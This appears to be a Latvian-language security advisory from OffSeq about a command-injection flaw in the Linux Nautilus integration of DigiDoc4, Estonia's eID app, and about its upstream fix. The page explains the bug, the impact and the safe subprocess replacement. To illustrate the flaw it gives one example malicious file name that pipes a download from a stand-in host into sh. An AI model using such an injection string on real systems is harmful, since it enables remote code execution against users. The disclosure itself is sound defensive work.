Visi rezultāti

Ievainojamības atklāšana

Komandu injekcija novērsta Igaunijas nacionālajā eID programmatūrā

DigiDoc4 – Igaunijas oficiālā eID parakstīšanas lietotne

OffSeq atklāja un novērsa OS komandu injekcijas ievainojamību DigiDoc4 lietotnē – Igaunijas oficiālajā nacionālajā eID darbvirsmas lietojumprogrammā. Linux failu pārvaldnieka integrācija veidoja shell komandas no neattīrītiem failu nosaukumiem, tādēļ īpaši veidots faila nosaukums varēja izpildīt patvaļīgu kodu tajā brīdī, kad lietotājs izvēlējās parakstīt vai šifrēt attiecīgo failu. Labojums, kas aizstāja shell izsaukumu ar drošu argumentu sarakstu, tika pieņemts sākotnējā projektā.

OffSeq

3 min lasīšanai

Kritiskums: Kritisks

Galvenie fakti

Klase
OS komandu injekcija (CWE-78)
Kritiskums
Kritisks
Mērķis
DigiDoc4-Client (Igaunijas eID)
Ražotājs
RIA / open-eid
Skartā daļa
Linux Nautilus failu pārvaldnieka integrācija
Novērsts
open-eid/DigiDoc4-Client PR #1407 (sapludināts)
Atklāts
2026
Statuss
Novērsts sākotnējā projektā
Loma
Ziņotājs un labojuma autors

§ 01. Pārskats

DigiDoc4 ir Igaunijas oficiālā nacionālā eID darbvirsmas lietojumprogramma, ko izdod Igaunijas Informācijas sistēmas iestāde (RIA) un kas tiek izstrādāta uz atvērtā koda open-eid tehnoloģiju kopuma. Igaunijas iedzīvotāji to izmanto, lai veidotu juridiski saistošus elektroniskos parakstus un šifrētu dokumentus ar savas ID-kartes, Mobile-ID vai Smart-ID piekļuves datiem, padarot to par kritiskas nacionālās infrastruktūras daļu visā Igaunijā un plašākajā Baltijas reģionā.

Uz Linux DigiDoc4 tiek piegādāts kopā ar failu pārvaldnieka integrāciju Nautilus failu pārvaldniekam. Tā pievieno labā klikšķa konteksta izvēlnes ierakstus ("Parakstīt digitāli" un "Šifrēt failus"), lai lietotājs varētu darboties ar dokumentiem tieši no savas darbvirsmas. OffSeq atklāja, ka šī integrācija veidoja klienta palaišanas komandu nedrošā veidā, pārvēršot parastu faila nosaukumu par uzbrucēja kontrolētu izpildes vektoru.

§ 02. Kā tas darbojas (pamatcēlonis)

Nautilus paplašinājums veidoja savu komandrindu, savienojot izvēlētā faila ceļu vienā virknē un nododot šo virkni shell ar Python os.system() funkciju. Faktiski kods darīja to pašu, ko os.system("qdigidoc4 " + args + "&"), kur args saturēja pēdiņās likto faila ceļu un beigu & nodeva procesu fonā. Tā kā os.system() palaiž savu argumentu caur /bin/sh, katrs shell metasimbols ceļā tika interpretēts, nevis uztverts kā burtiski dati.

Linux failu nosaukumi ir pieļaujoši: tie var saturēt dubultās pēdiņas, semikolus, dolāra zīmes, atpakaļvērstās pēdiņas, vertikālās svītras un citus simbolus, kuriem shell vidē ir nozīme. Fails, kura nosaukums tā veidots, ka tas noslēdz pēdiņas un pievieno savu komandu (konceptuāli x"; curl evil.example/payload | sh; "), izlauztos no paredzētā argumenta un liktu shell izpildīt savu payload. Tā ir klasiska OS komandu injekcija (CWE-78): neuzticami ievaddati nonāk komandu interpretatorā bez attīrīšanas vai nošķīruma starp kodu un datiem.

Bīstamākais ir tas, ka nav nepieciešama nekāda neparasta lietotāja darbība. Vienkārši noklikšķinot ar labo peles taustiņu uz ļaunprātīgi nosaukta faila un izvēloties to parakstīt vai šifrēt – parasto, gaidīto darbplūsmu – tika izraisīta ievadīšana. Šāds fails varēja nonākt jebkādā parastā veidā: kā lejupielāde, e-pasta pielikums, koplietots mape vai USB atmiņa.

§ 03. Ietekme

Izmantošana ļauj izpildīt patvaļīgas komandas upura lietotāja konta kontekstā, un tas tiek panākts, izmantojot ne vairāk kā lietojumprogrammas paredzēto parakstīšanas/šifrēšanas plūsmu. Datorā, ko izmanto juridiski saistošu elektronisko parakstu veidošanai, šis konts parasti tur tieši tos līdzekļus, kurus uzbrucējs vēlas: piekļuvi ID-kartei un PIN ievadei, parakstīšanas darbībām, kā arī lietotāja dokumentiem un piekļuves datiem.

Tā kā failu pārvaldnieka integrācija ir daļa no standarta Linux pieredzes, apdraudējums bija plašs, nevis šaurs īpašs gadījums. Izraisītājs – faila saņemšana un izvēle to parakstīt vai šifrēt – ir tieši tas, kā dēļ programmatūra pastāv, tāpēc arī lietotājs, kas ievēro parastus, piesardzīgus ieradumus, tik un tā tiktu apdraudēts. Šī kombinācija – kritisks primitīvs (patvaļīga koda izpilde) kopā ar mazprasīgu, ļoti ticamu piegādes ceļu – padara atradumu nopietnu.

§ 04. Labojums

OffSeq iesniedza labojumu, kas pilnībā izslēdz shell no vienādojuma. Tā vietā, lai saliktu vienu virkni un nodotu to os.system() funkcijai, paplašinājums tagad palaiž klientu ar subprocess.Popen() un skaidru argumentu sarakstu. Katrs faila nosaukums tiek nodots jaunajam procesam kā atsevišķs, burtisks arguments caur execvp(), tādēļ shell to nekad neparsē un nenotiek nekāda metasimbolu interpretācija – ievadīšanas virsma pazūd, nevis tiek aizvietota ar aizsargsimboliem vai filtrēta.

Sākotnējais kods pievienoja beigu &, lai klients darbotos fonā; aizstājējs saglabā šo uzvedību ar start_new_session=True, tādēļ labojums lietotājiem ir funkcionāli līdzvērtīgs, vienlaikus būdams drošs pēc savas uzbūves. Argumentu nodošana kā saraksts, nevis shell komandas veidošana ir standarta, ieteicamais risinājums šai kļūdu klasei.

Izmaiņas tika iesniegtas kā izmaiņu pieprasījums open-eid/DigiDoc4-Client #1407, tās izskatīja sākotnējā projekta uzturētāji un sapludināja oficiālajā repozitorijā.

§ 05. Atklāšanas hronoloģija

  1. 2026-05-13OffSeq ziņo par OS komandu injekciju DigiDoc4 un iesniedz labojumu pamatprojektā (PR #1407)
  2. 2026-06-15Labojumu pārskata un iekļauj open-eid uzturētāji
  3. 2026Publicēts Nila Putniņa raksts

Atsauces

Atzinība

Atklāja, ziņoja un novērsa Nils Putniņš (OffSeq Cybersecurity).

Kā mēs pārbaudītu jūsu vidi

Citi rezultāti

SWQL injekcija SolarWinds Platform

CVE-2024-28996 ir SWQL (SolarWinds Query Language) injekcijas ievainojamība SolarWinds Platform, kas ļāva ar īpaši veidotu vaicājumu manipulēt pamatā esošo datubāzes slāni. Tā tika atklāta ielaušanās testēšanas laikā NATO Sakaru un informācijas aģentūrai un novērsta SolarWinds Platform 2024.2 versijā.

Ievainojamības atklāšana20243 min lasīšanai

Pirmsautentifikācijas pakalpojuma atteice X-Road parakstu pārbaudē

Reģistrēts X-Road ekosistēmas dalībnieks var nosūtīt nelielu īpaši veidotu ziņojumu, kas piespiež partnera drošības serveri tērēt procesora resursus, atrisinot uzbrucēja kontrolētu paketes paraksta jaucējķēdi (hash chain) (pirms tiek pārbaudīts jebkāds paraksts vai sertifikāts), izsmeļot ziņojumu apstrādes pavedienu kopu un traucējot datu apmaiņu.

Ievainojamības atklāšana20263 min lasīšanai

Servera avārija CERT.LV rīkā Graphoscope, ja lietotājs atvienojas augšupielādes laikā

OffSeq atklāja pakalpojuma atteices ievainojamību Graphoscope – CERT.LV publicētajā atvērtā koda platformā, kas ļauj no vienas saskarnes veikt vaicājumus daudzos neatkarīgos datu avotos un attēlot to sakarības grafā. Ja lietotājs augšupielādēja indikatoru sarakstu un aizvēra savienojumu pirms apstrādes beigām, serveris dereferencēja nil WebSocket un avarēja, izrakstot visus lietotājus. To droši varēja izraisīt jebkurš pašreģistrēts konts. OffSeq ziņoja par ievainojamību CERT.LV un iesniedza labojumu, ko CERT.LV iekļāva projektā.

Ievainojamības atklāšana20262 min lasīšanai

Vai jūsu vidē pastāv līdzīgs risks?

support@offseq.com+371 2256 5353